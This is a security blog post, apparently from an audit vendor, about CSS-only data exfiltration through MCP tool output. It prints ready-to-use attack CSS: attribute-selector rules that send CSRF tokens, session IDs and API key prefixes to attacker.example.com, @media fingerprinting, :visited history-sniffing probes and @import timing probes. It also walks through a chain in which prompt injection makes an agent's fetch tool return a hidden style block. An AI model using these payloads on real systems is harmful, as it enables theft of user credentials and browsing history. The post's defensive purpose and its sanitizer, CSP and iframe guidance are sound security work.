MCP server security · CSS exfiltration · attribute selector attack · @media fingerprinting · :visited history sniffing

MCP Server CSS Exfiltration Deep Dive: attribute selector data stealing, @media fingerprinting, and :visited history sniffing

2026-06-25 · 16 min read

CSS exfiltration steals data from web pages without any JavaScript. The attack exploits a fundamental browser behavior: when a CSS selector rule matches a DOM element, the browser can make an HTTP request to fetch a resource declared in the matching rule — which could be a background image URL the attacker controls. MCP tool output that injects CSS can extract form values character by character using attribute selectors, fingerprint device and OS settings using @media queries, reveal browsing history via :visited, and detect cross-origin session state via @import load timing. None of this requires any JavaScript. Content-Security-Policy: script-src 'self' provides zero protection. This post covers every CSS side channel relevant to MCP server deployments, two full exploitation scenarios, and the three defense layers that close all of them.

Why CSS can make HTTP requests

CSS has always had the ability to trigger HTTP requests as a side effect of property evaluation. The most common source is background-image: url(...) — when this rule matches an element, the browser fetches the URL. The same applies to list-style-image, border-image, cursor, content: url(...), and @import. In a web security context, these fetches are observable side effects: if an attacker controls the URL, they receive an HTTP request whenever the selector matches.

The attack surface opens when you combine this with conditional CSS — selectors that only match when specific conditions are true. Attribute selectors like input[value^="a"] only match when the element's value attribute starts with "a". If this rule triggers a URL fetch, the attacker receives a request only when the condition is true. By exhaustively enumerating all possible prefixes and measuring which ones trigger requests, the attacker can reconstruct the attribute value character by character. No JavaScript executes at any point.

This attack requires no JavaScript. The entire exfiltration happens through CSS selector matching and HTTP requests triggered by the browser's CSS engine. script-src CSP has no jurisdiction over CSS. Even a page with Content-Security-Policy: default-src 'self'; script-src 'none' is vulnerable if it allows external CSS or unsanitized inline styles in tool output.

Why MCP servers are uniquely vulnerable to CSS exfiltration

CSS exfiltration in a traditional web application requires injecting CSS — which requires either a CSS injection vulnerability or an XSS payload that introduces a style tag. MCP servers change the threat model in three ways that make CSS exfiltration significantly easier to deploy:

  1. Tool output is rich HTML by design. MCP clients render tool results as structured content that may include HTML markup. If the client does not strip <style> tags and style= attributes from tool output, any HTML the tool returns can include arbitrary CSS that runs in the main document context.
  2. Prompt injection enables indirect CSS injection. An attacker embeds a CSS payload in any document, repository, or API response that the MCP server reads. Prompt injection causes the language model to return the injected content in its tool output, which the client renders — including the CSS. The attacker does not need to compromise the MCP server itself.
  3. The main document contains the victim data. When tool output is rendered in the main document (not an isolated iframe), the injected CSS has access to all form inputs, links, and attributes in the entire MCP client UI — CSRF token inputs, API key display fields, session token forms. Attribute selectors injected by one tool's output can target data from completely unrelated parts of the UI.

Attack 1: Attribute selector character-by-character exfiltration

This is the primary CSS exfiltration attack. It exploits the fact that CSS attribute selectors can match partial attribute values, and every match triggers a URL fetch. The attack reconstructs a secret value one character at a time using iterative CSS injections:

/*
 * Injected via MCP tool output as a <style> tag.
 * Goal: exfiltrate the CSRF token in input[name="csrf_token"].
 * Method: enumerate all characters for each position via background-image URL.
 *
 * Round 1: Discover the first character.
 * The attacker generates 62 CSS rules, one per candidate character.
 * Whichever rule's URL is fetched by the browser reveals the first character.
 */
input[name="csrf_token"][value^="a"] { background: url(https://attacker.example.com/e?p=1&c=a) }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.example.com/e?p=1&c=b) }
input[name="csrf_token"][value^="c"] { background: url(https://attacker.example.com/e?p=1&c=c) }
/* ... 59 more rules for d-z, A-Z, 0-9 ... */
input[name="csrf_token"][value^="z"] { background: url(https://attacker.example.com/e?p=1&c=z) }

/*
 * Background images only load for visible elements.
 * Force visibility to guarantee selector matching fires the fetch:
 */
input[name="csrf_token"] {
  display: block !important;
  visibility: visible !important;
  opacity: 1 !important;
  position: fixed !important;  /* ensures it's in the viewport */
  top: -9999px;                /* offscreen but technically visible */
}

/*
 * Round 2 (after the attacker's server log shows c="g" for position 1):
 * Discover the second character using two-character prefix matching.
 */
input[name="csrf_token"][value^="ga"] { background: url(https://attacker.example.com/e?p=2&c=a) }
input[name="csrf_token"][value^="gb"] { background: url(https://attacker.example.com/e?p=2&c=b) }
/* ... */
input[name="csrf_token"][value^="gz"] { background: url(https://attacker.example.com/e?p=2&c=z) }

/*
 * For a 32-character CSRF token with a 62-character alphabet:
 * 32 rounds × 62 rules = 1,984 CSS rules total.
 * In MCP sessions, the attacker injects each round via subsequent tool calls.
 */

The attack has practical constraints but each one has a workaround:

ConstraintImpactWorkaround
Background images only load for visible elementsHidden inputs (type="hidden") don't trigger fetches by defaultUse display:block !important; position:fixed; top:-9999px to force the element into a visible rendering context offscreen
Requires multiple CSS injection roundsCannot extract all characters in one payload — need new stylesheet per roundMCP prompt injection chains: attacker controls external content fetched by tool, each fetch returns the next round's CSS payload
value attribute reflects initial DOM value, not user-typed contentIf token is set via element.value = token in JS after load (not as a DOM attribute), [value^="..."] may not matchTarget server-injected tokens via meta[name="csrf-token"][content^="..."] — meta tag content attribute is always in the DOM
Cross-origin fetch restrictionSome CSPs block cross-origin image fetchesIf img-src is absent or set to *, cross-origin fetches succeed; absence of img-src in CSP is the default for most MCP deployments

Exfiltrating meta tags and data attributes

Beyond form inputs, CSS attribute selectors target any attribute on any HTML element. MCP client UIs commonly store sensitive values in meta tags and data attributes that are reachable by the same technique:

/* Exfiltrate CSRF token from meta tag (force meta tag to be visible first): */
meta[name="csrf-token"] {
  display: block;
  position: fixed;
  top: -9999px;
}
meta[name="csrf-token"][content^="a"] { background: url(https://attacker.example.com/e?src=meta&p=1&c=a) }
meta[name="csrf-token"][content^="b"] { background: url(https://attacker.example.com/e?src=meta&p=1&c=b) }
/* ... */

/* Exfiltrate session ID from data attribute on body element: */
body[data-session^="sess_a"] { background: url(https://attacker.example.com/e?src=body&p=1&c=a) }
body[data-session^="sess_b"] { background: url(https://attacker.example.com/e?src=body&p=1&c=b) }

/* Exfiltrate API key prefix from data attribute on a script element: */
script[data-api-key] {
  display: block;
  position: fixed;
  top: -9999px;
}
script[data-api-key^="sk-live-"] { background: url(https://attacker.example.com/e?src=apikey&prefix=sk-live-) }
script[data-api-key^="sk-test-"] { background: url(https://attacker.example.com/e?src=apikey&prefix=sk-test-) }

/* Exfiltrate link hrefs (e.g. OAuth redirect URIs rendered in tool output): */
a[href^="https://api.example.com/auth?token="] {
  background: url(https://attacker.example.com/e?src=oauth-link&found=1)
}

Attack 2: @media fingerprinting reveals device and OS settings

CSS @media queries test device characteristics — screen dimensions, color scheme preference, motion preference, pointer type, display mode, and more. Unlike attribute selector attacks, media query attacks return results in a single CSS payload with no iteration required. They don't extract user-specific secrets, but they fingerprint the device and OS configuration in ways that enhance attribution and targeting:

/*
 * @media fingerprinting payload.
 * All fetches fire immediately when the CSS is parsed — no user interaction needed.
 * Results arrive at the attacker's server within milliseconds of injection.
 */

/* OS color scheme preference: */
@media (prefers-color-scheme: dark) {
  body { background: url(https://attacker.example.com/fp?m=dark-mode) }
}
@media (prefers-color-scheme: light) {
  body { background: url(https://attacker.example.com/fp?m=light-mode) }
}

/* Motion sensitivity (accessibility setting — high-value target indicator): */
@media (prefers-reduced-motion: reduce) {
  body { background: url(https://attacker.example.com/fp?m=reduced-motion) }
}

/* Pointer type reveals touch vs desktop: */
@media (pointer: coarse) {
  body { background: url(https://attacker.example.com/fp?m=touch-device) }
}
@media (pointer: fine) {
  body { background: url(https://attacker.example.com/fp?m=mouse-device) }
}

/* Display mode distinguishes PWA / installed from browser tab: */
@media (display-mode: standalone) {
  body { background: url(https://attacker.example.com/fp?m=pwa-standalone) }
}
@media (display-mode: browser) {
  body { background: url(https://attacker.example.com/fp?m=browser-tab) }
}

/* Approximate screen resolution via viewport width ranges: */
@media (max-width: 375px) {
  body { background: url(https://attacker.example.com/fp?m=mobile-sm) }
}
@media (min-width: 376px) and (max-width: 768px) {
  body { background: url(https://attacker.example.com/fp?m=mobile-lg) }
}
@media (min-width: 769px) and (max-width: 1440px) {
  body { background: url(https://attacker.example.com/fp?m=desktop-std) }
}
@media (min-width: 1441px) {
  body { background: url(https://attacker.example.com/fp?m=desktop-wide) }
}

/* Forced colors mode (Windows High Contrast accessibility): */
@media (forced-colors: active) {
  body { background: url(https://attacker.example.com/fp?m=forced-colors) }
}

/* Dynamic range capability (reveals HDR display): */
@media (dynamic-range: high) {
  body { background: url(https://attacker.example.com/fp?m=hdr-display) }
}

/* Color gamut (wide-gamut display detection): */
@media (color-gamut: p3) {
  body { background: url(https://attacker.example.com/fp?m=p3-display) }
}
@media (color-gamut: rec2020) {
  body { background: url(https://attacker.example.com/fp?m=rec2020-display) }
}

@media fingerprinting enables targeted follow-up attacks. Knowing the user is on a touch device, using dark mode, with a wide-gamut display and reduced-motion preference narrows the population to a very small set. Combined with the CSRF token exfiltration from Attack 1, the attacker can correlate this fingerprint against their server logs to re-identify specific users even if their IP address changes between sessions. Forced-colors detection is particularly high-value: it reveals accessibility-dependent users who may be in corporate environments with specific IT policies.

Attack 3: :visited link history sniffing

The CSS :visited pseudo-class applies styles to links the user has previously visited. Browsers added getComputedStyle restrictions to prevent JavaScript from reading :visited computed styles, but CSS-based history sniffing via background-image fetches was never fully closed — the HTTP request still goes to the attacker's server when the selector matches:

/*
 * History sniffing via :visited.
 * The attack reveals which URLs the user has previously visited.
 * Useful for: does this user bank at Bank A or B? Use 2FA on GitHub?
 * Visit admin dashboards? Use a competitor's service?
 *
 * Step 1: Inject hidden anchor elements pointing to probe URLs.
 * (These HTML elements are injected alongside the CSS in MCP tool output.)
 */
<a href="https://bank-a.example.com/accounts" id="probe-1" style="display:block;position:fixed;top:-9999px"></a>
<a href="https://admin.example.com/dashboard" id="probe-2" style="display:block;position:fixed;top:-9999px"></a>
<a href="https://competitor.example.com/login" id="probe-3" style="display:block;position:fixed;top:-9999px"></a>
<a href="https://github.com/settings/security" id="probe-4" style="display:block;position:fixed;top:-9999px"></a>

/*
 * Step 2: CSS that fires a fetch only for :visited links.
 * :link (unvisited) has no background-image set — no request fires.
 * :visited has a unique URL — attacker receives one request per visited URL.
 */
#probe-1:visited { background: url(https://attacker.example.com/hist?url=bank-a) }
#probe-2:visited { background: url(https://attacker.example.com/hist?url=admin-dashboard) }
#probe-3:visited { background: url(https://attacker.example.com/hist?url=competitor) }
#probe-4:visited { background: url(https://attacker.example.com/hist?url=github-security) }

/*
 * Browser mitigations:
 * Chrome 94+ / Firefox 112+: :visited links are partitioned by top-level site.
 * A link to bank-a.example.com appears as :visited only if the user ALSO
 * visited bank-a.example.com FROM THE SAME top-level site (same eTLD+1).
 *
 * This limits cross-site history sniffing but does NOT prevent sniffing
 * within a same-site context. An MCP client at app.company.com can sniff
 * history for other company.com subdomains via :visited.
 *
 * getComputedStyle restriction: JavaScript cannot read :visited CSS properties
 * via getComputedStyle(el).backgroundColor — returns the :link value always.
 * BUT: the HTTP request for background-image STILL FIRES. The restriction
 * only prevents JS from observing the style; the network request goes through.
 */

Attack 4: CSS @import load timing side channel

CSS @import url(...) loads an external stylesheet. The time it takes to load can reveal information about the cross-origin server's state, because authenticated sessions typically cause different response sizes or delays. The attacker hosts an endpoint that returns different responses based on whether a cross-origin cookie is present:

/*
 * @import timing side channel.
 *
 * The attacker hosts: https://attacker.example.com/timing.css
 * Server logic:
 *   - If request includes the target site's cookie (credentials: 'include')
 *     → respond slowly or with a large file (e.g., 500KB of valid CSS)
 *   - If no session cookie:
 *     → respond immediately with minimal CSS
 *
 * Browser behavior: @import blocks rendering until the import resolves.
 * The load time difference (fast vs slow) reveals whether the user
 * has an active session on the target site — without any JavaScript.
 *
 * CSS-only timing detection via transition:
 */
@import url(https://attacker.example.com/timing.css?probe=target-site-session);

/*
 * The timing.css endpoint conditionally includes a rule like:
 *   body::after { content: "loaded"; display: none; }
 *
 * Combined with a CSS custom property poll via @supports:
 */
@supports (content: "loaded") {
  body { background: url(https://attacker.example.com/fp?timing-loaded) }
}

/*
 * More direct approach: the @import URL itself uses cross-origin cookies.
 * The browser sends cookies for attacker.example.com (the import destination),
 * NOT for the target site. This side channel works differently:
 *
 * The attacker sets a cross-site cookie for their own domain and observes
 * whether the browser sends them in the @import request (to detect cookie
 * partitioning / third-party cookie blocking state).
 *
 * This reveals: is the user in Chrome's partitioned cookie mode?
 * Does the browser have third-party cookies blocked?
 * Firefox vs Chrome vs Safari cookie policy fingerprint.
 */

@import is blocked by style-src 'self'. A properly configured CSP with style-src 'self' blocks all external @import requests. But MCP clients that allow tool output CSS without a style-src directive in their CSP are vulnerable. This is the most common MCP deployment configuration — CSP headers are often set for the API but not the client UI renderer.

Full exploitation scenario: CSRF token exfiltration via MCP prompt injection

This scenario chains CSS attribute selector exfiltration with MCP prompt injection to extract a CSRF token from the MCP client UI. No JavaScript executes at any point — the attack is invisible to script-src CSP and all JavaScript-based security monitoring.

/*
 * STEP 1: The attacker hosts a crafted document at https://attacker.example.com/doc.md
 *
 * The document appears legitimate (a research article on API security) but contains
 * an HTML comment that only the MCP server's document-fetch tool sees and returns:
 *
 *   # API Security Best Practices
 *   This article covers authentication patterns...
 *   <!--HIDDEN-FOR-BROWSERS-->
 *   <style>
 *   input[name="csrf_token"]{display:block!important;position:fixed!important;top:-9999px!important}
 *   input[name="csrf_token"][value^="a"]{background:url(https://attacker.example.com/e?p=1&c=a)}
 *   input[name="csrf_token"][value^="b"]{background:url(https://attacker.example.com/e?p=1&c=b)}
 *   /* ... 62 rules for the full a-zA-Z0-9 alphabet ... */
 *   meta[name="csrf-token"]{display:block!important;position:fixed!important;top:-9999px!important}
 *   meta[name="csrf-token"][content^="a"]{background:url(https://attacker.example.com/e?p=1&c=a&src=meta)}
 *   </style>
 *   <!--END-HIDDEN-->
 *   ...rest of the article...
 *
 * STEP 2: Prompt injection tricks the agent into fetching this document.
 * The agent's document-fetch tool returns the full HTML including the <style> block.
 * The MCP client renders the tool output in the main document.
 * The browser's CSS engine parses the injected <style> block.
 *
 * STEP 3: input[name="csrf_token"][value^="g"] matches.
 * Browser fetches: https://attacker.example.com/e?p=1&c=g
 * Attacker's server logs: first character of CSRF token is "g".
 *
 * STEP 4: Attacker triggers Round 2 via another prompt injection in a second document.
 * New CSS payload uses two-character prefix "g" + each alphabet character.
 * Server logs: second character is "h".
 *
 * STEP 5: After 32 rounds, the attacker reconstructs the full CSRF token:
 *   csrf_token = "gh7K2mNpR4qSxTvW9yZaBcDeFjL8oUe3"
 *
 * STEP 6: Attacker uses the CSRF token to forge a state-changing POST request
 * from their own origin. The server accepts it as valid — the token matches.
 * No JavaScript ran in the victim's browser during the entire attack.
 *
 * WHY script-src CSP DOES NOTHING:
 * The attack is CSS selector matching — not JavaScript execution.
 * The browser's CSS engine fires the HTTP requests as part of rendering.
 * Content-Security-Policy: script-src 'self' 'nonce-{random}' provides zero protection.
 * Only style-src 'self' (blocks the injected <style> tag) or
 * img-src 'self' (blocks the background-image fetch) can stop this.
 */

Attack 5: CSS counter exfiltration

CSS counter-increment and counter() in content: properties can be used to count matching elements. While CSS counters can't directly send their value over the network, they can be chained with selector matching to exfiltrate numeric information about the document state:

/*
 * CSS counter exfiltration — count how many elements match a condition.
 *
 * Goal: determine how many "critical finding" badges exist in the tool output
 * without JavaScript. Knowing the count reveals the security grade
 * of an MCP server audit result rendered to the user.
 */

/* Count critical severity badges: */
[data-severity="critical"] { counter-increment: crit; }

/* Fire a different URL based on the count:
 * This requires CSS @container / CSS if() (experimental) or
 * the more classic approach of using :nth-child selectors.
 */

/* Alternative: use sibling counting to infer document structure */
.audit-finding:nth-child(1) ~ .audit-finding:nth-child(2) {
  background: url(https://attacker.example.com/count?findings=2plus)
}
.audit-finding:nth-child(5) ~ .audit-finding:nth-child(6) {
  background: url(https://attacker.example.com/count?findings=6plus)
}

/*
 * Practical limit: CSS counters can be read in content: counter(name)
 * but that value cannot be placed in a URL. The count must be inferred
 * via selector matching (e.g., does element N exist or not?).
 * This limits counter exfiltration to approximate counts, not exact values.
 */

SkillAudit findings: CSS exfiltration in MCP server audits

CRITICAL −24
Tool output rendered in main document without <style> tag stripping and no style-src CSP directive — CSS attribute selector attack can exfiltrate CSRF tokens, API keys, and session data character by character with zero JavaScript and no CSP violation
HIGH −20
No CSP img-src 'self' or default-src 'self' — cross-origin background-image: url() fetches succeed; every CSS selector match fires an exfiltration HTTP request to attacker-controlled server
HIGH −18
MCP tool output HTML allows style= inline attributes without DOMPurify stripping — any element with a crafted style attribute that includes background-image: url() fires HTTP requests on selector match; FORBID_ATTR: ['style'] required
MEDIUM −12
CSRF tokens stored as meta[name="csrf-token"] content or input[type="hidden"] values in the main document — CSS exfiltration can target these with forced-display overrides; server-side strict CSRF validation provides partial mitigation
MEDIUM −10
No sandboxed cross-origin iframe for tool output rendering — same-document tool output gives injected CSS access to all form inputs, meta tags, and data attributes in the entire MCP client UI across all tools
LOW −4
No CSP violation reporting (report-uri / report-to directive) — blocked CSS fetches are not surfaced; no visibility into CSS exfiltration attempts or @import violations during active MCP sessions

Defenses

Layer 1: Strip CSS from tool output via DOMPurify

The most direct defense: prevent any CSS from reaching the DOM via tool output. DOMPurify with explicit configuration strips all CSS injection vectors before HTML is inserted into the document:

// DOMPurify configuration that closes all CSS exfiltration vectors:
const clean = DOMPurify.sanitize(toolOutputHtml, {
  FORBID_TAGS: ['style', 'link'],  // strip all <style> blocks and <link rel="stylesheet">
  FORBID_ATTR: ['style'],           // strip all inline style= attributes
  FORCE_BODY: true,                 // prevents DOMPurify from parsing in <head> context
  // where <link> tags are valid and might be missed
});

// Verification: DOMPurify denies 'style' by default, but this can be
// accidentally re-enabled if your ALLOWED_TAGS configuration includes 'style'.
// Audit your ALLOWED_TAGS list to ensure 'style' and 'link' are absent.

// Test that your configuration is effective:
const testPayload = [
  '<style>body{background:url(https://evil.com)}</style>',
  '<p style="background:url(https://evil.com)">test</p>',
  '<link rel="stylesheet" href="https://evil.com/x.css">',
].join('');

const result = DOMPurify.sanitize(testPayload, config);
// Expected: '<p>test</p>' — no style tags, no style attributes, no link tags
console.assert(!result.includes('url('), 'CSS exfiltration vector survived sanitization!');

Layer 2: Content Security Policy blocks the exfiltration channel

Even if CSS is injected, a strict CSP can block the HTTP requests it would fire. Multiple directives work together to close all CSS exfiltration channels:

# Caddy — complete CSP that blocks all CSS exfiltration channels:
header Content-Security-Policy "default-src 'self'; style-src 'self' 'nonce-{RANDOM}'; img-src 'self' data:; connect-src 'self'; font-src 'self'"

# style-src 'self' 'nonce-{RANDOM}':
#   → Blocks <style> blocks without the matching nonce (injected CSS has no nonce)
#   → Blocks <link rel="stylesheet" href="external">
#   → Blocks ALL inline style= attributes (per CSP spec, nonce doesn't apply to style=)
#   → Only same-origin .css files and nonce-matched inline styles are allowed

# img-src 'self' data::
#   → Blocks cross-origin background-image: url() fetches (the exfiltration channel)
#   → data: allows inline SVG/base64 images (common for UI icons)
#   → Attribute selector attacks fire background-image requests — this blocks them

# connect-src 'self':
#   → Blocks @import to external CSS hosts
#   → Blocks the CSS @import timing side channel

# font-src 'self':
#   → Blocks external @font-face src URLs
#   → Prevents font timing cache attacks via external font providers

# The most critical directive for CSS exfiltration is img-src.
# Without img-src restriction, background-image: url() fetches are unrestricted
# even if style-src is set — the image fetch happens after CSS parsing succeeds.

Layer 3: Cross-origin sandboxed iframe isolates tool output

The architectural defense: render all tool output in a sandboxed cross-origin iframe. CSS in the iframe can only target elements within the iframe — it cannot reach form inputs, meta tags, or data attributes in the parent document regardless of what CSS is injected:

<iframe
  src="https://tool-renderer.skillaudit.dev/render"
  sandbox="allow-scripts allow-forms"
  allow="display-capture 'none'; camera 'none'; microphone 'none'"
  loading="lazy">
  <!--
    Cross-origin + sandboxed: CSS inside cannot target parent document elements.
    Attribute selectors only match elements within this iframe's own document.
    meta[name="csrf-token"] in the parent document is invisible to iframe CSS.
    The cross-origin boundary creates a separate Window, document, and DOM tree.

    CRITICAL: do NOT add allow-same-origin to this sandbox attribute.
    Same-origin sandboxed iframes lose their cross-origin isolation,
    giving the iframe's CSS (and scripts) access to the parent document —
    which is exactly what we're trying to prevent.

    The allow-scripts permission lets the iframe render interactive tool output.
    The cross-origin constraint ensures its CSS and JS can't reach the parent.
  -->
</iframe>

Security checklist for MCP server CSS exfiltration

SkillAudit automatically checks for missing style-src and img-src CSP directives in MCP server deployments and flags tool output renderers that allow <style> tags or inline style= attributes. Run a free audit. Related: DOM Clobbering deep dive, Trusted Types enforcement, CSS injection reference.